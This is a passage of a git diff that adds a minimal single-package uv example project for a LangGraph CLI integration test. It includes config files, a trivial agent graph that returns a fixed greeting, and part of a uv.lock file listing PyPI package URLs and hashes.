+    { url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" },
+]
diff --git a/libs/cli/uv-examples/simple/.env.example b/libs/cli/uv-examples/simple/.env.example
new file mode 100644
index 0000000..e570b8b
--- /dev/null
+++ b/libs/cli/uv-examples/simple/.env.example
@@ -0,0 +1 @@
+OPENAI_API_KEY=
diff --git a/libs/cli/uv-examples/simple/langgraph.json b/libs/cli/uv-examples/simple/langgraph.json
new file mode 100644
index 0000000..3fa5e61
--- /dev/null
+++ b/libs/cli/uv-examples/simple/langgraph.json
@@ -0,0 +1,11 @@
+{
+  "python_version": "3.12",
+  "graphs": {
+    "agent": "./src/agent/graph.py:graph"
+  },
+  "source": {
+    "kind": "uv",
+    "root": "."
+  },
+  "env": ".env"
+}
diff --git a/libs/cli/uv-examples/simple/pyproject.toml b/libs/cli/uv-examples/simple/pyproject.toml
new file mode 100644
index 0000000..59d0f72
--- /dev/null
+++ b/libs/cli/uv-examples/simple/pyproject.toml
@@ -0,0 +1,19 @@
+[project]
+name = "simple-uv-agent"
+version = "0.1.0"
+description = "Simple single-package uv example for LangGraph CLI integration test"
+requires-python = ">=3.11"
+dependencies = [
+    "langgraph>=0.6.0,<2",
+    "langchain-core>=1.3.3",
+]
+
+[build-system]
+requires = ["setuptools>=73.0.0", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[tool.setuptools]
+packages = ["agent"]
+
+[tool.setuptools.package-dir]
+"agent" = "src/agent"
diff --git a/libs/cli/uv-examples/simple/src/agent/__init__.py b/libs/cli/uv-examples/simple/src/agent/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/libs/cli/uv-examples/simple/src/agent/graph.py b/libs/cli/uv-examples/simple/src/agent/graph.py
new file mode 100644
index 0000000..2e8a3be
--- /dev/null
+++ b/libs/cli/uv-examples/simple/src/agent/graph.py
@@ -0,0 +1,29 @@
+from collections.abc import Sequence
+from typing import Annotated, TypedDict
+
+from langchain_core.messages import AIMessage, BaseMessage
+from langgraph.graph import END, START, StateGraph
+from langgraph.graph.message import add_messages
+
+
+class State(TypedDict):
+    messages: Annotated[Sequence[BaseMessage], add_messages]
+
+
+def call_model(state: State) -> dict:
+    message = AIMessage(content="Hello from simple uv agent!")
+    return {"messages": [message]}
+
+
+def should_continue(state: State):
+    if len(state["messages"]) > 0:
+        return END
+    return "call_model"
+
+
+workflow = StateGraph(State)
+workflow.add_node("call_model", call_model)
+workflow.add_edge(START, "call_model")
+workflow.add_conditional_edges("call_model", should_continue)
+
+graph = workflow.compile()
diff --git a/libs/cli/uv-examples/simple/uv.lock b/libs/cli/uv-examples/simple/uv.lock
new file mode 100644
index 0000000..08c28d8
--- /dev/null
+++ b/libs/cli/uv-examples/simple/uv.lock
@@ -0,0 +1,988 @@
+version = 1
+revision = 3
+requires-python = ">=3.11"
+
+[[package]]
+name = "annotated-types"
+version = "0.7.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" },
+]
+
+[[package]]
+name = "anyio"
+version = "4.13.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "idna" },
+    { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" },
+]
+
+[[package]]
+name = "certifi"
+version = "2026.5.20"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/f3/ce/ee2ecad540810a79593028e88299baeae54d346cc7a0d94b6199988b89b1/certifi-2026.5.20.tar.gz", hash = "sha256:69dea482ab64caa7b9f6aba1c6bf48bb6a5448d1c0f1b17ab42ad8c763a5344d", size = 135422, upload-time = "2026-05-20T11:46:50.073Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/59/8c/57e832b7af6d7c5abe66eb3fbe3a3a32f4d11ea23a1aa7131371035be991/certifi-2026.5.20-py3-none-any.whl", hash = "sha256:3c52e209ba0a4ad7aebe60436a4ab349c39e1e602e8c134221e546902ad25897", size = 134134, upload-time = "2026-05-20T11:46:48.578Z" },
+]
+
+[[package]]
+name = "charset-normalizer"
+version = "3.4.7"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/c2/d7/b5b7020a0565c2e9fa8c09f4b5fa6232feb326b8c20081ccded47ea368fd/charset_normalizer-3.4.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7641bb8895e77f921102f72833904dcd9901df5d6d72a2ab8f31d04b7e51e4e7", size = 309705, upload-time = "2026-04-02T09:26:02.191Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/53/58c29116c340e5456724ecd2fff4196d236b98f3da97b404bc5e51ac3493/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:202389074300232baeb53ae2569a60901f7efadd4245cf3a3bf0617d60b439d7", size = 206419, upload-time = "2026-04-02T09:26:03.583Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/02/e8146dc6591a37a00e5144c63f29fb7c97a734ea8a111190783c0e60ab63/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:30b8d1d8c52a48c2c5690e152c169b673487a2a58de1ec7393196753063fcd5e", size = 227901, upload-time = "2026-04-02T09:26:04.738Z" },
+    { url = "https://files.pythonhosted.org/packages/fb/73/77486c4cd58f1267bf17db420e930c9afa1b3be3fe8c8b8ebbebc9624359/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:532bc9bf33a68613fd7d65e4b1c71a6a38d7d42604ecf239c77392e9b4e8998c", size = 222742, upload-time = "2026-04-02T09:26:06.36Z" },
+    { url = "https://files.pythonhosted.org/packages/a1/fa/f74eb381a7d94ded44739e9d94de18dc5edc9c17fb8c11f0a6890696c0a9/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2fe249cb4651fd12605b7288b24751d8bfd46d35f12a20b1ba33dea122e690df", size = 214061, upload-time = "2026-04-02T09:26:08.347Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/92/42bd3cefcf7687253fb86694b45f37b733c97f59af3724f356fa92b8c344/charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:65bcd23054beab4d166035cabbc868a09c1a49d1efe458fe8e4361215df40265", size = 199239, upload-time = "2026-04-02T09:26:09.823Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/3d/069e7184e2aa3b3cddc700e3dd267413dc259854adc3380421c805c6a17d/charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:08e721811161356f97b4059a9ba7bafb23ea5ee2255402c42881c214e173c6b4", size = 210173, upload-time = "2026-04-02T09:26:10.953Z" },
+    { url = "https://files.pythonhosted.org/packages/62/51/9d56feb5f2e7074c46f93e0ebdbe61f0848ee246e2f0d89f8e20b89ebb8f/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e060d01aec0a910bdccb8be71faf34e7799ce36950f8294c8bf612cba65a2c9e", size = 209841, upload-time = "2026-04-02T09:26:12.142Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/59/893d8f99cc4c837dda1fe2f1139079703deb9f321aabcb032355de13b6c7/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:38c0109396c4cfc574d502df99742a45c72c08eff0a36158b6f04000043dbf38", size = 200304, upload-time = "2026-04-02T09:26:13.711Z" },
+    { url = "https://files.pythonhosted.org/packages/7d/1d/ee6f3be3464247578d1ed5c46de545ccc3d3ff933695395c402c21fa6b77/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:1c2a768fdd44ee4a9339a9b0b130049139b8ce3c01d2ce09f67f5a68048d477c", size = 229455, upload-time = "2026-04-02T09:26:14.941Z" },
+    { url = "https://files.pythonhosted.org/packages/54/bb/8fb0a946296ea96a488928bdce8ef99023998c48e4713af533e9bb98ef07/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:1a87ca9d5df6fe460483d9a5bbf2b18f620cbed41b432e2bddb686228282d10b", size = 210036, upload-time = "2026-04-02T09:26:16.478Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/bc/015b2387f913749f82afd4fcba07846d05b6d784dd16123cb66860e0237d/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:d635aab80466bc95771bb78d5370e74d36d1fe31467b6b29b8b57b2a3cd7d22c", size = 224739, upload-time = "2026-04-02T09:26:17.751Z" },
+    { url = "https://files.pythonhosted.org/packages/17/ab/63133691f56baae417493cba6b7c641571a2130eb7bceba6773367ab9ec5/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ae196f021b5e7c78e918242d217db021ed2a6ace2bc6ae94c0fc596221c7f58d", size = 216277, upload-time = "2026-04-02T09:26:18.981Z" },
+    { url = "https://files.pythonhosted.org/packages/06/6d/3be70e827977f20db77c12a97e6a9f973631a45b8d186c084527e53e77a4/charset_normalizer-3.4.7-cp311-cp311-win32.whl", hash = "sha256:adb2597b428735679446b46c8badf467b4ca5f5056aae4d51a19f9570301b1ad", size = 147819, upload-time = "2026-04-02T09:26:20.295Z" },
+    { url = "https://files.pythonhosted.org/packages/20/d9/5f67790f06b735d7c7637171bbfd89882ad67201891b7275e51116ed8207/charset_normalizer-3.4.7-cp311-cp311-win_amd64.whl", hash = "sha256:8e385e4267ab76874ae30db04c627faaaf0b509e1ccc11a95b3fc3e83f855c00", size = 159281, upload-time = "2026-04-02T09:26:21.74Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/83/6413f36c5a34afead88ce6f66684d943d91f233d76dd083798f9602b75ae/charset_normalizer-3.4.7-cp311-cp311-win_arm64.whl", hash = "sha256:d4a48e5b3c2a489fae013b7589308a40146ee081f6f509e047e0e096084ceca1", size = 147843, upload-time = "2026-04-02T09:26:22.901Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46", size = 311328, upload-time = "2026-04-02T09:26:24.331Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2", size = 208061, upload-time = "2026-04-02T09:26:25.568Z" },
+    { url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b", size = 229031, upload-time = "2026-04-02T09:26:26.865Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a", size = 225239, upload-time = "2026-04-02T09:26:28.044Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116", size = 216589, upload-time = "2026-04-02T09:26:29.239Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb", size = 202733, upload-time = "2026-04-02T09:26:30.5Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1", size = 212652, upload-time = "2026-04-02T09:26:31.709Z" },
+    { url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15", size = 211229, upload-time = "2026-04-02T09:26:33.282Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5", size = 203552, upload-time = "2026-04-02T09:26:34.845Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d", size = 230806, upload-time = "2026-04-02T09:26:36.152Z" },
+    { url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7", size = 212316, upload-time = "2026-04-02T09:26:37.672Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464", size = 227274, upload-time = "2026-04-02T09:26:38.93Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49", size = 218468, upload-time = "2026-04-02T09:26:40.17Z" },
+    { url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c", size = 148460, upload-time = "2026-04-02T09:26:41.416Z" },
+    { url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6", size = 159330, upload-time = "2026-04-02T09:26:42.554Z" },
+    { url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d", size = 147828, upload-time = "2026-04-02T09:26:44.075Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, upload-time = "2026-04-02T09:26:46.824Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" },
+    { url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" },
+    { url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" },
+    { url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" },
+    { url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" },
+    { url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" },
+    { url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" },
+    { url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" },
+    { url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" },
+    { url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" },
+    { url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" },
